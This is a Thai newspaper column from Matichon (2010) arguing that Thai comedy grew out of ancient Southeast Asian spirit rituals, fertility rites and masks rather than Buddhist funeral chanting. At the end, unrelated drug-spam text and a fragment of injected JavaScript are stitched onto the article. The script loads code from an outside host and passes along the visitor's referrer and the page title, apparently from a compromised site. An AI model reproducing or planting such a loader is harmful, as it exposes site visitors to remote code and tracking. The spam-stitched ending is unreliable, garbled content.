หนังสือพิมพ์มติชนฉบับวันพุธที่ 3 มีนาคม 2553

 

บอกเล่าสืบต่อกันมานานมากว่า“ตลกไทย”มีกำเนิดจาก“สวดคฤหัสถ์”ในงานศพ แล้วเชื่อถือว่าจริงจนถึงทุกวันนี้ บางทีไปไกลว่าตลกไทยเกิดขึ้นจากสังคมนับถือพุทธศาสนา

สวดคฤหัสถ์มีรากเหง้าเค้าต้นจากประเพณี“ขับลำ”ของ“หมอมด” หรือ“หมอผี”ในสังคมดึกดำบรรพ์ราว 3,000 ปีมาแล้ว ที่นับถือศาสนาผี(ตอนนั้นยังไม่มีศาสนาพุทธ-พราหมณ์)

ต่อมาเมื่อรับพุทธศาสนาแล้วนิมนต์พระสงฆ์ 4 รูป มาสวดศพ เป็นประเพณีเพิ่งมีไม่นานมานี้ พระสงฆ์ก็เลียนแบบทำนองขับลำที่มีมาก่อน มาสวดเป็นทำนองต่างๆคล้ายเทศน์มหาชาติ พระสงฆ์ก็เอาทำนองจากขับลำ

ประเพณีศพเก็บไว้หลายวัน มีพระสวด เป็นประเพณีของสุวรรณภูมิในอุษาคเนย์ที่สืบมาแต่ศาสนาผี 3,000 ปีมาแล้วเป็นอย่างน้อย ไม่ใช่ประเพณีอินเดีย

ฉะนั้นสวดคฤหัสถ์จึงไม่เกี่ยวกับพุทธ แต่เกี่ยวกับผี สังคมนับถือพุทธไม่ได้ทำให้เกิดตลก ตลกมีขึ้นในชุมชนนับถือศาสนาอะไรก็ได้ ไม่จำเป็นต้องนับถือพุทธ

ตลก เป็น“วัฒนธรรมร่วม”ของผู้คนทุกชาติพันธุ์สุวรรณภูมิในอุษาคเนย์ ทั้งมอญ-เขมร, ชวา-มลายู, ม้ง-เย้า, จนถึงไทย-ลาว, ฯลฯ มีกำเนิดร่วมกันไม่น้อยกว่า 3,000 ปีมาแล้ว น่าสงสัยว่าจะมีกำเนิดจากการละเล่นเกี่ยวกับเพศ เช่น พูดด้วยถ้อยคำทางเพศ, “ปั้นเมฆ”, และ“พิธีร่วมเพศ”ในพิธีกรรมขอฝนเพื่อความอุดมสมบูรณ์ มีร่องรอยทุกวันนี้อยู่กับขบวนเซิ้งบั้งไฟในวัฒนธรรมลาว มีบักกั๊บแก๊บ, และบักแบ้น ทำท่าร่วมเพศ แล้วไล่ทิ่มก้นผู้สาวต่างสนุกสนานวี้ดว้ายไม่ถือเป็นผิด

ตลกไทย เป็นส่วนหนึ่งของตลกสุวรรณภูมิ ย่อมมีกำเนิดจากสิ่งเดียวกัน

หน้าพราน ในละครชาวบ้าน(ละครนอก)เรื่องมโนราห์ เป็นทั้งหน้ากากศักดิ์สิทธิ์ใช้บูชาในพิธีไหว้ครูละคร กับเป็นหน้ากากตลกในการแสดง

หน้ากาก เป็นวัฒนธรรมร่วมสุวรรณภูมิ อายุไม่น้อยกว่า 2,500 ปีมาแล้วมีหลักฐานสำคัญคือภาพเขียนสีบนเพิงผา, ผนังถ้ำ, ฯลฯ ที่ชัดเจนมากอยู่ที่ทิวเขาสามร้อยยอด(ประจวบฯ)

ราวหลัง พ.ศ. 2000 มีชื่อจำอวดอยู่ในกรมละคร(ขึ้นกับมหาดไทย) มีศักดินา 50 (สูงกว่ำไพร่ ศักดินา 25) ได้รับยกย่องอยู่ในราชสำนักแล้ว แสดงว่าต้องมีบทบาทสำคัญในชุมชนชาวบ้านมานานมากตั้งแต่ยุคก่อนรับศาสนาพุทธ-พราหมณ์

จำอวดยุคแรกมีในละครชาวบ้าน(ละครนอก) มีนิทานจำอวดละครชาวบ้านเล่นหน้าพระที่นั่งยุคปลายอยุธยาฟ้องเรื่องภาษีผักบุ้ง จนมีเหตุให้ต้องชำระคดีภาษีผักบุ้ง แล้วโขนรับจำอวดจากละครชาวบ้านมาพัฒนาให้มีในโขนสมัยต่อมา

จำอวดเล่นปนกับสวดคฤหัสถ์ในงานศพ เพิ่งมีสมัยต้นกรุงรัตนโกสินทร์เลียนแบบ“ดิเกร์”ของมุสลิมที่ถูกกวาดต้อนจากปัตตานี แล้วพัฒนาเป็นเล่นสิบสองภาษาออกภาษาต่างๆ พวกจำอวดสวดคฤหัสถ์แต่งตัวเป็นชาติภาษานั้นๆ คนดูสนุกสนานชอบอกชอบใจ

เมื่ออิทธิพลตลกฝรั่งแพร่หลายเข้ามา พวกจำอวดก็รับแบบแผนตลกอย่างฝรั่งมาเล่น เลยเรียกจำอวดกับตลกปนกันไปตั้งแต่หลังรัชกาลที่ 5 เพิ่งเลิกเรียกจำอวด แล้วเรียกตลกคำเดียวราว 50 ปีมานี้เอง ทำให้มีคุณภาพสืบมาเรื่อยๆ

แต่ไม่เคยมี“ตลกแห่งชาติ”มาก่อน อะไรก็ตามที่เป็น“แห่งชาติ” มักเสื่อมสภาพจนไม่มีพลังสร้างสรรค์

(บน) หน้ากาก 2 แบบ รูปเขียนที่หน้าผา บนไหล่เขาสามร้อยยอด ซึ่งบรรพชน “คนไทย” ชาวสุวรรณภูมิวาดไว้ราว พ.ศ. 1 หรือมากกว่า 2,500 ปีมาแล้ว                      (ล่าง) “แห่งชาติ” มักเสื่อมสภาพจนไม่มีพลังสร้างสรรค์สิ่งใดได้อีก เลยทำให้ทอดถอนหฤทัยที่ต้องมี “ตลกแห่งชาติ”


fluoxetine and alcohol purchase inderals.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;